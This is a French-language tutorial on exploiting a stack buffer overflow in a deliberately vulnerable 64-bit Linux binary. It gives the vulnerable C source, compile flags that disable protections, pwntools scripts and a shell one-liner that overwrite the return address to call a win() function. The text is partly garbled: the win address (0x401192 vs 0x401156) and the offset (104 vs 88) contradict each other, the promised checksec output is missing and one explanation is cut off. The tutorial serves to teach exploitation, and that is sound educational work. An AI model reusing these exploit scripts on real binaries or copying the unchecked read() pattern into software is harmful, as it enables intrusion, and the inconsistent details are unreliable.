Tuto concret, direct et opérationnel sur le pwn classique : l’exploitation de buffer overflow sur binaire Linux 64 bits. Je vais te donner tout ce dont tu as besoin pour comprendre, reproduire et monter tes propres exploits.
#include <stdio.h>
#include <unistd.h>
void win() {
write(1, "PWNED ! Flag : W0RM{G00D_B0Y}\n", 32);
}
void vuln() {
char buffer[80];
printf("[+] Buffer à l'adresse : %p\n", buffer);
read(0, buffer, 200); // overflow volontaire
}
int main() {
setbuf(stdout, NULL);
vuln();
return 0;
}
Compilation sans protections (exactement ce qu’on veut) :
gcc -o vuln vuln.c -fno-stack-protector -z execstack -no-pie -w
checksec --file=vuln
Tu devrais voir :
Voici les explications pour les mécanismes de sécurité (ou leur absence) indiqués par votre outil d'analyse binaire (probablement checksec) :
Trouve l’adresse de la fonction win :
objdump -d vuln | grep win # ou nm -u vuln | grep win
Exemple de résultat : 0x0000000000401192
*Adresse mémoire spécifique (exprimée en hexadécimal) pointant vers une instruction ou une donnée située dans l'espace d'adressage du programme.
Avec pwntools (le meilleur outil) :
from pwn import *
p = process("./vuln")
# ou remote("target.com", 1337)
payload = cyclic(200)
p.sendline(payload)
p.wait()
core = p.corefile
offset = cyclic_find(core.read(core.rsp, 4))
print("Offset trouvé :", offset)
Supposons que l’offset soit 104 (très courant sur ce genre de challenge).
from pwn import *
# Configuration du contexte pour l'architecture 64-bits
context.update(arch='amd64', os='linux', log_level='debug')
# Lancement du binaire
binary_path = './vuln'
elf = ELF(binary_path)
p = elf.process()
# Adresse de la fonction win (0x401156 d'après votre objdump)
addr_win = 0x401156
# Remplissage : 80 octets (buffer) + 8 octets (Saved RBP) = 88 octets
offset = 88
# Construction du payload propre
payload = b'A' * offset
payload += p64(addr_win) # Écrase l'adresse de retour avec win()
# Attente de la ligne d'information du binaire (optionnel mais propre)
p.recvuntil(b' : ')
buffer_addr = p.recvline().strip()
print(f"Adresse du buffer détectée : {buffer_addr.decode()}")
# Envoi de la charge utile
p.send(payload)
# Puisque 'win' écrit directement sur la sortie standard,
# on lit tout ce que le programme renvoie avant de mourir.
print("\n--- RÉSULTAT DE L'EXPLOITATION ---")
try:
# Récupère toutes les données reçues (le flag s'y trouve)
flag_output = p.recvall(timeout=2)
print(flag_output.decode(errors='ignore'))
except Exception as e:
print(f"Erreur lors de la récupération : {e}")
# Fermeture propre
p.close()
Le test avec ltrace confirme que vous provoquez bien le crash, mais il nous montre aussi une information capitale.
Regardez la ligne du read :
read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 200) = 89
La commande print('A'*88) en Python ajoute automatiquement un caractère de retour à la ligne (\n), ce qui fait un total de 89 octets reçus. Le simple fait d'avoir envoyé 89 octets a suffi à écraser une partie critique de la mémoire et à déclencher un SIGSEGV dès la sortie de la fonction vuln.
Cela signifie deux choses très importantes :
RIP).Pour récupérer le flag, il ne faut pas simplement faire crasher le programme avec des A, il faut placer précisément l'adresse de la fonction win (0x401156) à partir de ce 89ème octet.
Voici la commande rapide en ligne de commande (en utilisant Python et cat) pour envoyer le payload exact et voir le flag s'afficher dans votre terminal :
(python3 -c "import sys; sys.stdout.buffer.write(b'A'*88 + b'\x56\x11\x40\x00\x00\x00\x00\x00')"; cat) | ./vuln
b'A'*88 : Remplit le buffer (80 octets) et le Saved RBP (8 octets).b'\x56\x11\x40\x00\x00\x00\x00\x00' : C'est l'adresse de win (0x401156) écrite à l'envers (en Little Endian), complétée sur 8 octets pour l'architecture 64 bits.; cat : Laisse le canal ouvert pour que la fonction win puisse renvoyer le texte du flag vers votre terminal avant que le programme ne s'arrête définitivement.